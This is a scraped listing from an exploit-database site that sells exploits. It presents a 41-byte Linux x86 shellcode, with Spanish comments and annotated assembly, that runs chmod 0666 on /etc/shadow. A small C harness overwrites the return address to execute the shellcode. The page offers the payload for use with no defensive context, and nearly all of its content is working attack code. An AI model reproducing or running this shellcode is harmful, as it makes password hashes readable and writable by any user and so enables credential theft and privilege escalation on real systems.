0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86 chmod 666 /etc/shadow 41 bytes
[========================================
linux/x86 chmod 666 /etc/shadow 41 bytes
========================================
/*
* s0t4ipv6@shellcode.com.ar
* 0x04abril0x7d2
*
* int sys_chmod(const char * filename, mode_t mode)
* {...}
*
* Utilizando la interrupcion 15(chmod), asignando el octal 0666
* al archivo deseado. En este caso /etc/shadow
*
* Hice unas modificaciones en el codigo y solo pude reducir la shellcode en 1.
* por el codigo mailme.
* "\x31\xdb\x68\x64\x6f\x77\x53\x68\x2f\x73\x68\x61\x68\x2f\x65"
* "\x74\x63\x89\xe3\x31\xc9\x88\x4c\x24\x0b\x66\xb9\xb6\x01\x31"
* "\xc0\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80";
*
*/
#include <stdio.h>
// Shellcode // Asm Code // Main Interval
char shellcode[]=
"\xeb\x17" // jmp 0x17 [3 ; 4]
"\x5e" // popl %esia [5]
"\x31\xc9" // xorl %ecx, %ecx [6 ; 7]
"\x88\x4e\x0b" // movb %ecx, 0xb(%esi) [8; 10]
"\x8d\x1e" // leal (%esi), %ebx [11;12]
"\x66\xb9\xb6\x01" // movw $0x1b6, %cx // asigno a cx el equivalente en hex al octal 0666
"\x31\xc0" // xorl %eax, %eax [17;18]
"\xb0\x0f" // movb $0xf, %al // Interrupcion 15 (chmod)
"\xcd\x80" // int $0x80 [21;22]
"\x31\xc0" // xorl %eax, %eax // salida
"\x40" // inc %eax [25]
"\xcd\x80" // int $0x80 [26;27]
"\xe8\xe4\xff\xff\xff" // call -0x1c
"/etc/shadow";
main() {
int *ret;
ret=(int *)&ret+2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-16] #